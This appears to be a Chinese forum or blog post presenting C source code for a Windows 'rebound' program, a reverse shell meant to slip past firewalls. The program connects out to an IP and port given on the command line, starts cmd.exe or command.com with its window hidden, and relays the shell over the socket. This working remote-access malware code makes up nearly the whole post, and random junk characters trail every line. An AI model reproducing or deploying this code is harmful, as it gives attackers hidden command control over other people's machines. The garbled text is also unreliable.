这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 %u&Vt"6m=
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/* ============================== Y96<c" t
Rebound port in Windows NT 45.g ;
By wind,2006/7 AU`z.Isf
===============================*/ a1I-d=]
#include T|S-?X,
#include !BkE-9v?w
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#pragma comment(lib,"wsock32.lib") G5t7KI
#BBDI
void OutputShell(); > _sSni
SOCKET sClient; P8dMfD*"E
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ,.*Df)+
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void main(int argc,char **argv) Z.@n7G
{ Lc}hjK
WSADATA stWsaData; =GP L>a&
int nRet; a9NuYYr,h
SOCKADDR_IN stSaiClient,stSaiServer; y,&[OrCm^\
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if(argc != 3) ~$4(|Fq/
{ iY@}Q "
printf("Useage:\n\rRebound DestIP DestPort\n"); (NR( )2
return; *:
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} >T[Y>]
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WSAStartup(MAKEWORD(2,2),&stWsaData); JLWm9c+UTG
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); wVf 7<@/y
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stSaiClient.sin_family = AF_INET; 7oIHp_Zq
stSaiClient.sin_port = htons(0); {RI^zNgs[
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); [>p!*%m
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Ofoh4BL'1@
{ ynMYf
printf("Bind Socket Failed!\n"); 0$Mxu7 /
return; R|qNyNXo[
}
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stSaiServer.sin_family = AF_INET; R1Rk00Ow:
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); +[n#{;]<
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); .tfal9
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) FG71<}C[K
{ #G0'Q2
printf("Connect Error!"); q*4@d)_&
return; j&S.k
} [=cbzmX[
OutputShell(); yCkc3s|DA;
} oM@%2M_O(
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void OutputShell() A-myY30
{ Snmv
char szBuff[1024]; ESIJ QM-[+
SECURITY_ATTRIBUTES stSecurityAttributes; [N[4\W!!
OSVERSIONINFO stOsversionInfo; 2'W#x
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; V{>;Z vj1R
STARTUPINFO stStartupInfo; Rd;t}E$
char *szShell; FR'Nzi$
PROCESS_INFORMATION stProcessInformation; t Jtp1$h
unsigned long lBytesRead; DTi^* Wj
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); &dw=jHt
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); XD!}uDZ^
stSecurityAttributes.lpSecurityDescriptor = 0; 6=Q6J
stSecurityAttributes.bInheritHandle = TRUE; y[cc<wm$
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); "=40%j0
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Ty!V)i
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); l)DcwkIG
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r}|)oG,=
stStartupInfo.wShowWindow = SW_HIDE; m\
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stStartupInfo.hStdInput = hReadPipe; TOqxl
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; @LU[po1I
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GetVersionEx(&stOsversionInfo); ~<Wa$~oY
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switch(stOsversionInfo.dwPlatformId) ;U tEHvE*
{ Bz:Hp{7&
case 1: V0#E7u`4
szShell = "command.com"; b-c6.aKf|
break; <X1[j9Qtv0
default: b*nI0/cbR.
szShell = "cmd.exe"; Fghan.F
break; R
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} <x$fD37
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 6is+\
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send(sClient,szMsg,77,0); FY+@fy
while(1) 0r&FH$
{ DuQ:82 3b
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); \IR$~
if(lBytesRead) zRau/1Y0
{ j_zy"8Y{
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ]@}@G[e#[
send(sClient,szBuff,lBytesRead,0); Fk`6
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} TQ {8 ee{
else hGUQdTNP
{ yN#]Q}4
lBytesRead=recv(sClient,szBuff,1024,0); aJ]t1
if(lBytesRead<=0) break; |IWm:[H3
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ^M1O)
} |ew:}e: k<
} itO1ROmu
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return; Q6[h;lzGV
}